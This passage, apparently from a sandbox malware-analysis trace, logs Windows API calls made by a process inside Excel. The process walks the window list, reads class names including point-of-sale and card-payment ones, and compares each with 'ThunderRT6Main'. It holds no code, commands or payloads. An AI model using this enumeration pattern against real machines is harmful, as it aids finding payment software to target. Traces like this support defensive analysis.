nIndex=-6) returned 0x13f8c0000 [0119.242] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0119.242] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0119.242] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0119.242] IsWindowEnabled (hWnd=0x20360) returned 0 [0119.242] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0119.243] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0119.243] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0119.243] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0119.243] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0119.243] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0119.243] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0119.243] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0119.243] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0119.243] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0119.243] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0119.243] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0119.243] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0119.243] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0119.243] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0119.243] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0119.243] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0119.243] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0119.244] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0119.244] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0119.244] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0119.244] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1860 [0119.245] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1860) [0119.345] GetCurrentThreadId () returned 0xbdc [0119.345] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0119.345] GetDesktopWindow () returned 0x10010 [0119.346] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0119.346] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0119.346] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0119.346] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0119.346] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0119.346] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0119.358] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0119.358] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0119.358] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0119.359] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0119.359] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0119.359] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0119.359] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0119.359] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0119.359] IsWindowEnabled (hWnd=0x20360) returned 1 [0119.359] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0119.359] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0119.359] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0119.359] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0119.359] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0119.359] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0119.359] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0119.359] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0119.359] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0119.359] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0119.359] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0119.359] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0119.359] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0119.359] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0119.360] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0119.360] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0119.360] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0119.360] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0119.360] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0119.360] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0119.360] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0119.360] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0119.360] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0119.360] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0119.360] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0119.360] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0119.360] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0119.360] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0119.360] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0119.360] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0119.360] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0119.360] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0119.360] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0119.360] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0119.360] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0119.360] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0119.360] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0119.360] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0119.360] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0119.360] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0119.360] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0119.360] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0119.360] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0119.360] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0119.361] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0119.361] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0119.361] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0119.361] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0119.361] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0119.361] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0119.361] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0119.361] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0119.361] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0119.361] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0119.361] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0119.361] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0119.361] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.361] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.361] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0119.361] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0119.361] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0119.361] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0119.361] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0119.361] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0119.361] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0119.361] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0119.361] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0119.361] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0119.361] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0119.361] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0119.361] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0119.361] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0119.362] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0119.362] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0119.362] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0119.362] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0119.362] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0119.362] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0119.362] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0119.362] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0119.362] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0119.362] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0119.362] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0119.362] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0119.362] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0119.362] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0119.362] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0119.362] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0119.362] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0119.362] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0119.362] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0119.362] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0119.362] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0119.362] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0119.362] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0119.362] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0119.362] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0119.362] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0119.362] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0119.363] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0119.363] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0119.363] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0119.363] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.363] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.363] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0119.363] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0119.363] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0119.363] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0119.363] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0119.363] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0119.363] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0119.363] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0119.363] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0119.363] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0119.363] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.363] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.363] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0119.363] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0119.363] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0119.363] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0119.363] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0119.363] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0119.363] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.363] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.363] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0119.363] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0119.364] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0119.364] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0119.364] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0119.364] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0119.364] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.364] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.364] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0119.364] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0119.364] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0119.364] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0119.364] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0119.364] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0119.364] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.364] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.364] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0119.364] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0119.364] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0119.364] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0119.364] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0119.364] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0119.364] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.364] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.364] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0119.364] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0119.364] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0119.364] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0119.364] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0119.365] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0119.365] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.365] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.365] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0119.365] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0119.365] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0119.365] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0119.365] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0119.365] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0119.365] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.365] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.365] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0119.365] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0119.365] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0119.365] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0119.365] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0119.365] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0119.365] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.365] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.365] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0119.365] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0119.365] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0119.365] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0119.365] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0119.365] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0119.365] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.366] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.366] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0119.366] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0119.366] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0119.366] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0119.366] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0119.366] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0119.366] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.366] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.366] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0119.366] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0119.366] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0119.366] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0119.366] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0119.366] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0119.367] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.367] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.367] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0119.367] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0119.367] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0119.367] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0119.367] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0119.367] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0119.367] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.368] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.368] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0119.368] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0119.368] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0119.368] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0119.368] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0119.368] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0119.368] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.369] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.369] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0119.369] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0119.369] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0119.369] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0119.369] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0119.369] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0119.369] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.369] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.369] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0119.369] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0119.369] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0119.369] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0119.369] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0119.369] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0119.369] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.369] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.369] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0119.369] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0119.369] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0119.369] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0119.369] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0119.369] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0119.369] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.369] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.369] GetWindowThreadProcessId (in: hWnd=0x1021e, 